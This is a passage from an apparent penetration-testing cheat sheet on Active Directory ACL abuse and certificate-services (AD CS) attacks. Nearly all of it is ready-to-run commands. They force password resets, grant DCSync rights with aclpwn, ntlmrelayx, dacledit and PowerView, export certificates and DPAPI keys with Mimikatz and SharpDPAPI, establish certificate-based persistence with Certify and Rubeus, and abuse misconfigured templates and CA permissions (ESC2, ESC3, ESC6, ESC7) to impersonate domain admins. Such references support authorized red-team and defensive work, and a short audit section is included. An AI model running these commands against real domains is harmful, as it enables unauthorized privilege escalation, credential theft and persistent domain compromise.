$ smbpasswd.py -hashes :5fe2a4a4f217609a8e063620954d502a megacorp.local/j.doe@192.168.1.11 -newhashes :fc525c9683e8fe067095ba2ddc971889 -altuser MEGACORP/administrator -althash ce2aa0a2629f80107e8ad6ad6c4f94a3 -admin
$ changepasswd.py megacorp.local/j.doe:'NewPassw0rd!'@DC01.megacorp.local -newhashes :fc525c9683e8fe067095ba2ddc971889 -altuser MEGACORP/administrator -k -no-pass -dc-ip 192.168.1.11 -reset
```

## SDDL

* <https://habr.com/ru/company/pm/blog/442662/>
* [0xdf.gitlab.io/2020/01/27/digging-into-psexec-with-htb-nest.html](https://0xdf.gitlab.io/2020/01/27/digging-into-psexec-with-htb-nest.html)
* [0xdf.gitlab.io/2020/06/01/resolute-more-beyond-root.html](https://0xdf.gitlab.io/2020/06/01/resolute-more-beyond-root.html)
* <https://itconnect.uw.edu/wares/msinf/other-help/understanding-sddl-syntax/>
* <https://github.com/t94j0/sddl_py>

Let's say that the ACE on object **A** applies to object **B**. This grants or denies object **B** access to object **A** with the specified access rights.

ACE example in SDDL format:

```
(A;;RPWPCCDCLCSWRCWDWOGA;;;S-1-1-0)

AceType:
A = ACCESS_ALLOWED_ACE_TYPE

Access rights:
RP = ADS_RIGHT_DS_READ_PROP
WP = ADS_RIGHT_DS_WRITE_PROP
CC = ADS_RIGHT_DS_CREATE_CHILD
DC = ADS_RIGHT_DS_DELETE_CHILD
LC = ADS_RIGHT_ACTRL_DS_LIST
SW = ADS_RIGHT_DS_SELF
RC = READ_CONTROL
WD = WRITE_DAC
WO = WRITE_OWNER
GA = GENERIC_ALL

Ace Sid:
S-1-1-0
```

## Hunt for ACLs

### ActiveDirectory

Enumerate ACLs which `snovvcrash` user possesses against `j.doe` user:

```
PS > (Get-ACL "AD:$((Get-ADUser j.doe).distinguishedName)").access | ? {$_.IdentityReference -eq "MEGACORP\snovvcrash"}
```

Enumerate which users possess `GenericAll` or `AllExtendedRights` permission against `j.doe` user:

```
PS > (Get-ACL "AD:$((Get-ADUser j.doe).distinguishedName)").access | ? {$_.ActiveDirectoryRights -match "GenericAll|AllExtendedRights"} | select IdentityReference,ActiveDirectoryRights -Unique | ft -W
```

PowerView analog + excluding 3-digit RIDs:

```
PV3 > Get-DomainObjectAcl -Identity j.doe -Domain megacorp.local -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|AllExtendedRights" -and $_.SecurityIdentifier -match "<SID>-[\d]{4,10}"} | select SecurityIdentifier | sort -Property SecurityIdentifier -Unique
PV3 > ConvertFrom-SID <SECURITY_IDENTIFIER>
```

Find all users who can DCSync and convert their SIDs to names:

```
PV3 > $dcsync = Get-ObjectACL "DC=megacorp,DC=local" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|Replication-Get"} | select -ExpandProperty SecurityIdentifier | select -ExpandProperty value
PV3 > Convert-SidToName $dcsync
```

### PowerView2

Search for interesting ACLs:

```
PV2 > Invoke-ACLScanner -ResolveGUIDs
```

Check if the attacker "MEGACORP\sbauer" has `GenericWrite` permissions on the "jorden" user object:

```
PV2 > Get-ObjectAcl -samAccountName jorden -ResolveGUIDs | ? {$_.ActiveDirectoryRights -like "*GenericWrite*" -and $_.IdentityReference -eq "MEGACORP\sbauer"}

InheritedObjectType   : All
ObjectDN              : CN=Jorden Mclean,OU=Athens,OU=Employees,DC=MEGACORP,DC=LOCAL  <== Victim (jorden)
ObjectType            : All
IdentityReference     : MEGACORP\sbauer  <== Attacker (sbauer)
IsInherited           : False
ActiveDirectoryRights : GenericWrite
PropagationFlags      : None
ObjectFlags           : None
InheritanceFlags      : ContainerInherit
InheritanceType       : All
AccessControlType     : Allow
ObjectSID             : S-1-5-21-3167813660-1240564177-918740779-3110
```

### PowerView3

Search for interesting ACLs:

```
PV3 > Find-InterestingDomainAcl -ResolveGUIDs | ? {$_.IdentityReferenceClass -match "user"}
```

Check if the attacker "MEGACORP\sbauer" (`S-1-5-21-3167813660-1240564177-918740779-3102`) has `GenericWrite` permissions on the "jorden" user object:

```
PV3 > Get-DomainObjectAcl -Identity jorden -ResolveGUIDs | ? {$_.ActiveDirectoryRights -like "*GenericWrite*" -and $_.SecurityIdentifier -eq "S-1-5-21-3167813660-1240564177-918740779-3102"}

AceType               : AccessAllowed
ObjectDN              : CN=Jorden Mclean,OU=Athens,OU=Employees,DC=MEGACORP,DC=LOCAL
ActiveDirectoryRights : GenericWrite
OpaqueLength          : 0
ObjectSID             : S-1-5-21-3167813660-1240564177-918740779-3110  <== Victim (jorden)
InheritanceFlags      : ContainerInherit
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-3167813660-1240564177-918740779-3102  <== Attacker (sbauer)
AccessMask            : 131112
AuditFlags            : None
AceFlags              : ContainerInherit
AceQualifier          : AccessAllowed
```

{% hint style="info" %}
The `-ResolveGUIDs` switch shows `ObjectType` and `InheritedObjectType` properties in a human readable form (not in GUIDs).
{% endhint %}

PowerView 3.0 does not return `IdentityReference` property, which makes it less handy for this task (however, you may filter the output by the attacker's SID). To automatically convert SIDs to names we can use the following loop:

```
PV3 > Get-DomainObjectAcl -Identity snovvcrash -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}
```

### powerview\.py

```
PS > Get-DomainObjectAcl -Identity DC01$ -ResolveGUIDs -Where "SecurityIdentifier contains 'Exchange Windows Permissions'" -Select AccessMask,ObjectAceType
```

## Abuse GenericAll

Find domain users that current user has `GenericAll` access right to:

```
PV3 > Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | % {if ($_.Identity -eq $("$env:UserDomain\$env:UserName")) {$_}} ? {$_.ActiveDirectoryRights -like "*GenericAll*"}
```

The attacker can change password of discovered users:

```
Cmd > net user snovvcrash Passw0rd! /domain
```

Find domain groups that current user has `GenericAll` access right to:

```
PV3 > Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | % {if ($_.Identity -eq $("$env:UserDomain\$env:UserName")) {$_}} ? {$_.ActiveDirectoryRights -like "*GenericAll*"}
```

The attacker can add users to discovered groups:

```
Cmd > net group "IT Desk" snovvcrash /add /domain
```

Enable/disable AD account remotely via [ldap\_shell](https://github.com/PShlyundin/ldap_shell):

```
$ python3 -m ldap_shell -k -no-pass megacorp.local/snovvcrash -dc-ip 192.168.1.11 -dc-host DC01
snovvcrash# enable_account j.doe
snovvcrash# disable_account j.doe
```

## Abuse WriteDACL

Find domain groups that current user has `WriteDACL` access right to:

```
PV3 > Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | % {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | % {if ($_.Identity -eq $("$env:UserDomain\$env:UserName")) {$_}} | ? {$_.ActiveDirectoryRights -like "*WriteDacl*"}
```

The attacker can take the full control of discovered groups and then add a users to them:

```
PV3 > Add-DomainObjectAcl -TargetIdentity "IT Desk" -PrincipalIdentity snovvcrash -Domain tricky.com -Rights All -Verbose
PV3 > Add-DomainGroupMember -Identity "IT Desk" -Members snovvcrash -Verbose
```

{% hint style="info" %}
Group membership will take its sweet time to be updated within target user's TGT. To [force](http://woshub.com/how-to-refresh-ad-groups-membership-without-user-logoff/) the update one may purge existing tickets and request new TGT:

```
Cmd > klist purge
Cmd > gpupdate /force
Cmd > dir \\dc1.megacorp.local\c$
```

{% endhint %}

## Exchange Windows Permissions

Privilege escalation with ACLs in AD by example of the `Exchange Windows Permissions` domain group.

Add user to the `Exchange Windows Permissions` group:

```
PS > Add-ADGroupMember -Identity "Exchange Windows Permissions" -Members snovvcrash
```

### Add DCSync Rights

Using **aclpwn.py**:

* <https://github.com/fox-it/aclpwn.py>
* <https://www.slideshare.net/DirkjanMollema/aclpwn-active-directory-acl-exploitation-with-bloodhound>
* <https://www.puckiestyle.nl/aclpwn-py/>

```
$ aclpwn -f snovvcrash -ft user -t megacorp.local -tt domain -d megacorp.local -du neo4j -dp neo4j --server 127.0.0.1 -u snovvcrash -p 'Passw0rd!' -sp 'Passw0rd!'
```

Using Impacket [**ntlmrelayx.py**](https://github.com/fortra/impacket/blob/50c76958706577a5005bec2ee1fda9e9fa669a65/impacket/examples/ntlmrelayx/attacks/ldapattack.py#L293):

```
PS > IWR http://10.10.13.37 -UseDefaultCredentials
$ ntlmrelayx.py -t ldap://DC01.megacorp.local --escalate-user snovvcrash --no-smb-server --no-wcf-server --no-raw-server --no-dump --no-da --no-acl --no-validate-privs
```

Using Impacket **dacledit.py**:

```
$ dacledit.py megacorp.local/snovvcrash:'Passw0rd!' -action write -rights DCSync -principal snovvcrash -target-dn 'DC=megacorp,DC=local' -dc-ip 192.168.1.11
```

Using **PowerView2**:

```
PV2 > Add-ObjectAcl -TargetDistinguishedName "DC=megacorp,DC=local" -PrincipalName snovvcrash -Rights DCSync -Verbose
```

Using **PowerView3**:

```
PS > $cred = New-Object System.Management.Automation.PSCredential("snovvcrash", $(ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force))
PV3 > Add-DomainObjectAcl -TargetIdentity "DC=megacorp,DC=local" -PrincipalIdentity snovvcrash -Credential $cred -Rights DCSync -Verbose
```

Using PowerShell **ActiveDirectory**:

* <https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/DomainObject.md>

1. Get ACL for the root domain object.
2. Get SID for the account to be given DCSync rights.
3. Create a new ACL and within it set "Replicating Directory Changes" (GUID `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2`) and "Replicating Directory Changes All" (GUID `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2`) rights for the SID from (2).
4. Apply changes.

```
PS > Import-Module ActiveDirectory
PS > $acl = Get-Acl "AD:DC=megacorp,DC=local"
PS > $user = Get-ADUser snovvcrash
PS > $sid = New-Object System.Security.Principal.SecurityIdentifier $user.SID
PS > $objectGuid = New-Object guid 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
PS > $identity = [System.Security.Principal.IdentityReference] $sid
PS > $adRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"
PS > $type = [System.Security.AccessControl.AccessControlType] "Allow"
PS > $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"
PS > $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
PS > $acl.AddAccessRule($ace)
PS > $objectGuid = New-Object Guid 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
PS > $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $identity,$adRights,$type,$objectGuid,$inheritanceType
PS > $acl.AddAccessRule($ace)
PS > Set-Acl -AclObject $acl "AD:DC=megacorp,DC=local"
```

Using **ADSI** and **dsacls.exe**:

* <https://gist.github.com/jfmaes/404b45d542fc07db51e6e07d8ebb79b9>

```
PS > $dse = [ADSI]"LDAP://Rootdse"
PS > $namingContext = $dse.defaultNamingContext
PS > dsacls.exe $namingContext /G snovvcrash":CA;Replicating Directory Changes All" snovvcrash":CA;Replicating Directory Changes"
```

Clean up:

```
PV3 > Remove-DomainObjectAcl -TargetIdentity megacorp.local -PrincipalIdentity snovvcrash -Rights DCSync
```

## Managed Security Groups

* <https://stealthbits.com/blog/exploiting-weak-active-directory-permissions-with-powersploit/>

Returns all security groups in the current (or target) domain that have a manager set:

```
PV3 > Get-DomainManagedSecurityGroup

GroupName                : Security Operations
GroupDistinguishedName   : CN=Security Operations,CN=Users,DC=MEGACORP,DC=LOCAL
ManagerName              : john.doe
ManagerDistinguishedName : CN=John Doe,OU=Security,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL
ManagerType              : User
ManagerCanWrite          : UNKNOWN
```

Enumerate the ACLs set on this group. `GenericWrite` privilege means that the user can modify group membership:

```
PV3 > $sid = ConvertTo-SID john.doe
PV3 > Get-DomainObjectAcl -Identity 'Security Operations' | ? {$_.SecurityIdentifier -eq $sid}

ObjectDN              : CN=Security Operations,CN=Users,DC=MEGACORP,DC=LOCAL
ObjectSID             : S-1-5-21-3167813660-1240564177-918740779-2549
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
BinaryLength          : 36
AceQualifier          : AccessAllowed
IsCallback            : False
OpaqueLength          : 0
AccessMask            : 131132
SecurityIdentifier    : S-1-5-21-3167813660-1240564177-918740779-1874
AceType               : AccessAllowed
AceFlags              : ContainerInherit
IsInherited           : False
InheritanceFlags      : ContainerInherit
PropagationFlags      : None
AuditFlags            : None
```

## Tools

### Aced

* <https://github.com/garrettfoster13/aced>


# AD CS Abuse

Active Directory Certificate Services

* [\[PDF\] Certified Pre-Owned. Abusing Active Directory Certificate Services (Will Schroeder, Lee Christensen)](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)
* <https://posts.specterops.io/certified-pre-owned-d95910965cd2>
* <https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d>
* <https://elkement.wordpress.com/2019/06/01/sizzle-hackthebox-unintended-getting-a-logon-smartcard-for-the-domain-admin-2/>
* <https://http418infosec.com/ad-cs-the-certified-pre-owned-attacks>
* <https://www.fortalicesolutions.com/posts/pkinit-ftw-chaining-shadow-credentials-and-adcs-template-abuse>
* <https://research.ifcr.dk/certipy-2-0-bloodhound-new-escalations-shadow-credentials-golden-certificates-and-more-34d1c26f0dc6>
* <https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services>
* <https://rayrt.gitlab.io/posts/Active-Directory-Certificate-Services-Abuse/>
* <https://luemmelsec.github.io/Skidaddle-Skideldi-I-just-pwnd-your-PKI/>
* <https://xakep.ru/2022/10/14/active-directory-privesc/>
* <https://sensepost.com/blog/2022/certpotato-using-adcs-to-privesc-from-virtual-and-network-service-accounts-to-local-system/>
* <https://cicada-8.medium.com/adcs-so-u-got-certificate-now-ive-got-nine-ways-to-abuse-it-861081cff082>
* <https://habr.com/ru/companies/pt/articles/916888/>
* <https://xbz0n.sh/blog/adcs-complete-attack-reference>

{% embed url="<https://docs.google.com/spreadsheets/u/0/d/1E5SDC5cwXWz36rPP_TXhhAvTvqz2RGnMYXieu4ZHx64/htmlview?pli=1#gid=0>" %}

{% embed url="<https://twitter.com/_nwodtuhs/status/1451510341041594377>" %}

{% hint style="warning" %}
This page is a selective copy-paste of the Certified Pre-Owned [PDF](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) (mainly offensive techniques) without testing "in the wild"! When any of the discussed techniques is actually performed by me during an engagement, corresponding notes are get reviewed, supplemented with examples from my personal experience and put into a separate section, e. g. [ESC1](/pentest/infrastructure/ad/ad-cs-abuse/esc1), [ESC8](/pentest/infrastructure/ad/ad-cs-abuse/esc8), etc.
{% endhint %}

## Glossary

* **AD CS** 👉🏻 Active Directory Certificate Services
* **CA** 👉🏻 Certification Authority
* **EKU** 👉🏻 Extended Key Usage
* **SAN** 👉🏻 Subject Alternative Name (subjectAltName)
* **CSR** 👉🏻 Certificate Signing Request
* **CES** 👉🏻 Certificate Enrollment Web Service
* **CAPI** 👉🏻 CryptoAPI
* **CNG** 👉🏻 Cryptography API: Next Generation

EKU OIDs that can enable certificate authentication:

| Description                  | OID                      |
| ---------------------------- | ------------------------ |
| Client Authentication        | `1.3.6.1.5.5.7.3.2`      |
| PKINIT Client Authentication | `1.3.6.1.5.2.3.4`        |
| Smart Card Logon             | `1.3.6.1.4.1.311.20.2.2` |
| Any Purpose EKU              | `2.5.29.37.0`            |
| Subordinate CA certificate   | No EKU set               |

## Enumerate

Enumerate AD Enterprise CAs and their settings with PowerShell:

```
PS > $CAs = Get-ADObject -LDAPFilter '(objectCategory=pKIEnrollmentService)' -SearchBase "CN=Configuration,DC=megacorp,DC=local"
PS > $CAs
```

Enumerate AD Enterprise CAs with CME:

```
PS > cme ldap 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M adcs
```

Get list of certificate template names:

```
PS > $CATemplateNames = Get-ADObject $CAs[0].DistinguishedName -Properties certificatetemplates | Select-Object -ExpandProperty certificatetemplates
PS > $CATemplateNames
Or
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(objectCategory=pKIEnrollmentService)' --base 'CN=Configuration,DC=megacorp,DC=local' --attrs dn,dnshostname
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(distinguishedName=CN=CorpCA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=megacorp,DC=local)' --base 'CN=Configuration,DC=megacorp,DC=local' --attrs certificateTemplates
Or (from a BH dump)
$ cat 19700101000000_templates.json | grep -oP '"name":\s*"\K[^@]*' > templates.txt
```

Enumerate AD Enterprise CAs with certutil from a domain-joined machine:

```
Cmd > certutil.exe -config - -ping
Cmd > certutil.exe -TCAInfo [-v]
```

Look for artefacts in RPC dumps like [adcshunter](https://github.com/danti1988/adcshunter) does:

```
$ rpcdump.py <IP> | grep certsrv.exe
```

Enumerate CAs and templates with [powerview.py](https://github.com/aniqfakhrul/powerview.py):

```
PS > Get-CA [-Domain megacorp.local] -CheckWebEnrollment [-NoWrap] -OutFile cas_megacorp.local.txt
PS > Get-CATemplate [-Domain megacorp.local] -Enabled -ResolveSIDs [-Vulnerable] [-NoWrap] -OutFile certs_megacorp.local.txt
```

## Hunt for Certificates

### Export Certificates (THEFT1)

Export a certificate from user's context.

With certmgr:

* Run → `certmgr.msc` → Action → All Tasks → Export ...

With PowerShell:

```
PS > Export-PfxCertificate -Password (Read-Host -AsSecureString -Prompt 'Password') -Cert (Get-Item -Path Cert:\LocalMachine\My\<CERT_THUMBPRINT>) -FilePath cert.pfx -Verbose
```

With [CertStealer](https://github.com/TheWover/CertStealer):

```
Cmd > .\CertStealer.exe -export pfx <CERT_THUMBPRINT>
```

If the private key is non-exportable, use Mimikatz's `crypto::capi` (to patch CAPI in current process) or `crypto::cng` (to patch `lsass.exe` memory):

```
Cmd > .\mimikatz.exe "crypto::capi" "crypto::certificates /export" "exit"
```

### DPAPI User Keys (THEFT2)

Decrypt a domain user's masterkey with domain's backup key with Mimikatz:

```
Cmd > .\mimikatz.exe "dpapi::masterkey /in:C:\path\to\masterkey /rpc" "exit"
```

Decrypt masterkey if user's plaintext password is known with Mimikatz:

```
Cmd > .\mimikatz.exe "dpapi::masterkey /in:C:\path\to\masterkey /sid:<ACCOUNT_SID> /password:Passw0rd!" "exit"
```

Simplify the process with SharpDPAPI providing it a file with one or more `{GUID}:SHA1` masterkey mappings (will output a `.pem` file):

```
Cmd > .\SharpDPAPI.exe certificates /mkfile:C:\Temp\mkeys.txt
```

### DPAPI Machine Keys (THEFT3)

It's not possible to decrypt machine keys using the domain's DPAPI backup key, so the adversary can use the `DPAPI_SYSTEM` LSA secret on the system which is accessible only by the SYSTEM user:

```
# While elevated
Cmd > .\SharpDPAPI.exe certificates /machine
```

After converting the output to `.pfx` and if the appropriate EKU scenario is present, the adversary can use that `.pfx` for domain authentication *as the computer account* (see **PERSIST2**).

### Search for Certificate Files (THEFT4)

Find certificate files lying around with Seatbelt:

```
Cmd > .\Seatbelt.exe "dir C:\ 10 \.(pfx|pem|p12)`$ false"
Cmd > .\Seatbelt.exe InterestingFiles
```

Some other certificate-related file extensions:

| File Extension             | Description                                                               |
| -------------------------- | ------------------------------------------------------------------------- |
| `.key`                     | The private key.                                                          |
| `.crt`/`.cer`              | The certificate.                                                          |
| `.csr`                     | Signing request file. Does not contain certificates or keys.              |
| `.jks`/`.keystore`/`.keys` | Java Keystore. May contain certificates + private keys used by Java apps. |

List EKUs for a certificate with PowerShell:

```
PS > $CertPath = "C:\Users\snovvcrash\cert.pfx"
PS > $CertPass = "Passw0rd!"
PS > $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
PS > $Cert.EnhancedKeyUsageList
```

Parse `.pfx` with certutil:

```
Cmd > certutil.exe -dump -v cert.pfx
```

Correlate a certificate with a CA thumbprint on the host and in AD:

```
# Get cert's thumbprint
PS > $CertPath = "C:\Users\snovvcrash\cert.p12"
PS > $CertPass = "Passw0rd!"
PS > $Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($CertPath, $CertPass)
PS > $Cert.Thumbprint

# Match it with CA certs' thumbprints trusted by the current host
Cmd > .\Seatbelt.exe -q CertificateThumbprints

# Match it with CA certs' thumbprints from AD
Cmd > .\Certify.exe find /quiet
```

## Steal NTLM via PKINIT (THEFT5)

Request NTLM hash when the account is authenticated with a TGT through PKINIT with Kekeo:

```
Cmd > .\kekeo.exe "tgt::pac /caname:CorpCA /domain:megacorp.local /subject:snovvcrash /castore:current_user" "exit"
```

## Persistence via Certificates

### User Persistence (PERSIST1)

Find certificate templates available for enrollment for the current user:

```
Cmd > .\Certify.exe find /clientauth
```

Search for any template that allows domain authentication (a stock published template that allows client authentication is the `User` template).

Request a new certificate for enrolling current user context:

```
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:User
```

This will output a certificate and private key in `.pem`. To convert it to `.pfx` compatible with Rubeus do:

```
$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```

After that an adversary can upload it to target and use Rubeus to request a valid TGT, for as long as the certificate is valid (default certificate lifetime is one year):

```
Cmd > .\Rubeus.exe asktgt /user:snovvcrash /certificate:C:\Temp\cert.pfx /password:Passw0rd!
```

This approach will work *even if the user changes their password*. Combined with the **THEFT5** technique, an adversary can also persistently obtain the account's NTLM hash.

### Machine Persistence (PERSIST2)

Same as for **PERSIST1** but requesting a certificate for enrolling current machine context:

```
# While elevated
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:Machine /machine
```

With access to a machine account certificate an adversary can use S4U2Self to obtain a Kerberos ticket to any service on the host (see [RBCD Abuse](https://github.com/snovvcrash/PPN/blob/master/pentest/infrastructure/ad/delegation-abuse/README.md#resource-based-constrained-delegation-rbcd)) or generate a silver ticket.

### Certificate Renewal

* Certificate template **validity period** - determines how long an issued certificate can be used.
* Certificate template **renewal period** - determines a window of time *before the certificate expires* where an account can renew it from the issuing certificate authority.

An adversary can renew the compromised certificate before the validity period expires, and so that extend their access to AD without requesting additional ticket enrollments.

## Domain Escalation via Certificates

### Modifiable SAN + Any Purpose EKU (ESC2)

Condition: the vulnerable certificate template allows requesters to specify a SAN in the CSR as well as allows Any Purpose EKU (`2.5.29.37.0`).

Find template with this misconfiguration:

```
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
```

Request a certificate specifying the `/altname` as a domain admin like in **ESC1**.

### Agent Certificate + Enroll on Behalf of Another User (ESC3)

Conditions:

1. A template allows a low-privileged user to use an enrollment agent certificate.
2. Another template allows a low privileged user to use the enrollment agent certificate to request a certificate on behalf of another user, and the template defines an EKU that allows for domain authentication.

1\. Request an enrollment agent certificate:

```
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:Vuln-EnrollAgentTemplate
```

2\. Request a certificate on behalf of another user based on a template that allows domain authentication:

```
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:User /onbehalfon:MEGACORP\ITAdmin /enrollcert:enrollmentAgentCert.pfx /enrollcertpw:Passw0rd!
```

### Vulnerable PKI Object ACEs (ESC5)

* <https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c>

### EDITF\_ATTRIBUTESUBJECTALTNAME2 (ESC6)

> If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.

This means that an adversary can enroll in **any** template configured for domain authentication that also allows unprivileged users to enroll (e. g., the default `User` template) and obtain a certificate that allows to authenticate as a domain admin or any other active user/machine.

Discover with certutil:

```
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -getreg "policy\EditFlags"
Or
Cmd > reg.exe query \\CA01.megacorp.local\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CorpCA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
```

Discover with Certify:

```
Cmd > .\Certify.exe find
```

To abuse request a certificate specifying an `/altname` with any template that allows for domain auth (e. g., the default `User` template which normally doesn't allow to specify alternative names):

```
Cmd > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:User /altname:DomAdmin
```

This setting can be set with domain admin's privileges like this (*dangerous, do not do this!*):

```
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -setreg "policy\EditFlags" +EDITF_ATTRIBUTESUBJECTALTNAME2
```

Remove this setting:

```
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2
```

### Vulnerable CA ACEs (ESC7)

Enumarate CA ACEs with Powershell [PSPKI](https://github.com/PKISolutions/PSPKI):

```
PS > Install-Module -Name PSPKI
PS > Import-Module PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA01.megacorp.local | Get-CertificationAuthorityAcl | select -ExpandProperty access
```

`ManageCA` and `ManageCertificates` rights translate to the "CA Administrator" and "Certificate Manager" ("CA Officer") respectively.

The "CA Administrator" role allows to set the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag (see **ESC6**):

```
# Check before setting the flag
Cmd > hostname
DC01
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -getreg "policy\EditFlags"

# Invoke SetConfigEntry
PS > "$(hostname) : $(whoami)"
WS01 : megacorp\CertAdmin
PSPKI > $configReader = New-Object SysadminsLV.PKI.Dcom.Implementation.CertSrvRegManagerD "CA01.megacorp.local"
PSPKI > $configReader.SetRootNode($true)
PSPKI > $configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
1114446
PSPKI > $configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
Cmd > hostname
DC01
Cmd > certutil.exe -config "CA01.megacorp.local\CorpCA" -getreg "policy\EditFlags"
```

The "Certificate Manager" role allows to remotely approve pending certificate requests which can by used by an adversary to subvert the "CA certificate manager approval" protection:

```
# Request a certificate that requires manager approval with Certify
PS > .\Certify.exe request /ca:CA01.megacorp.local\CorpCA /template:ApprovalNeeded
...
[*] Request ID : 1337

# Approve a pending request with PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA01.megacorp.local | Get-PendingRequest -RequestID 1337 | Approve-CertificateRequest

# Download the issued certificate with Certify
PS > .\Certify.exe download /ca:CA01.megacorp.local\CorpCA /id:1337
```

### OID Group Link Abuse (ESC13)

* <https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53>
* <https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1>

## Audit

* <https://github.com/GhostPack/PSPKIAudit>
* <https://github.com/TrimarcJake/adcs-snippets>

```
PS > Get-WindowsCapability -Online -Name "Rsat.*" | where Name -match "CertificateServices|ActiveDIrectory" | Add-WindowsCapability -Online
PS > cd PSPKIAudit
PS > Get-ChildItem -Recurse | Unblock-File
PS > Import-Module .\PSPKIAudit.psm1
PS > Invoke-PKIAudit -CAComputerName CA01.megacorp.local
```

## Misc

Parse `.pfx` with PowerShell:

```
PS > $cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]([System.Convert]::FromBase64String("<BASE64_PFX_CERT>"))
PS > $cert | select *
```

Generate a self-signed certificate to test a web app for misconfigured cert-based authentication:

```bash
openssl genrsa -aes256 -passout pass:qwer -out ca.pass.key 2048
openssl rsa -passin pass:qwer -in ca.pass.key -out ca.key
openssl req -new -x509 -days 365 -key ca.key -out ca.pem -subj '/C=LOCAL/O=MEGACORP/CN=Corp CA'
openssl genrsa -aes256 -passout pass:qwer -out client.pass.key 2048
openssl rsa -passin pass:qwer -in client.pass.key -out client.key
openssl req -new -key client.key -out client.csr -subj '/emailAddress=mail@megacorp.com/CN=j.doe/O=MEGACORP/C=LOCAL'
openssl x509 -req -days 365 -in client.csr -CA ca.pem -CAkey ca.key -CAcreateserial -extfile <(printf 'extendedKeyUsage=1.3.6.1.5.5.8.2.2,clientAuth') -out client.pem
cat client.key client.pem ca.pem > client.full.pem
openssl pkcs12 -export -passout pass:qwer -inkey client.key -in client.full.pem -out cert.p12
```

## Tools

### Certify

* <https://github.com/GhostPack/Certify>
* <https://github.com/blackarrowsec/Certify>
* <https://github.com/S3cur3Th1sSh1t/PowerSharpPack/blob/master/PowerSharpBinaries/Invoke-Certify.ps1>

Search for vulnerable certificate templates:

```
Cmd > .\Certify.exe find /vulnerable
```

### Certipy

* <https://github.com/ly4k/Certipy>
* <https://github.com/zimedev/certipy-merged>

Install:

```
pip install pipx
pipx install -f "git+https://github.com/ly4k/Certipy.git"
pipx inject certipy-ad "git+https://github.com/ThePirateWhoSmellsOfSunflowers/ldap3.git@tls_cb_and_seal_for_ntlm"
```

Get TGT automatically and list CAs, servers and search for vulnerable certificate templates (output in text, JSON and BloodHound formats):

```
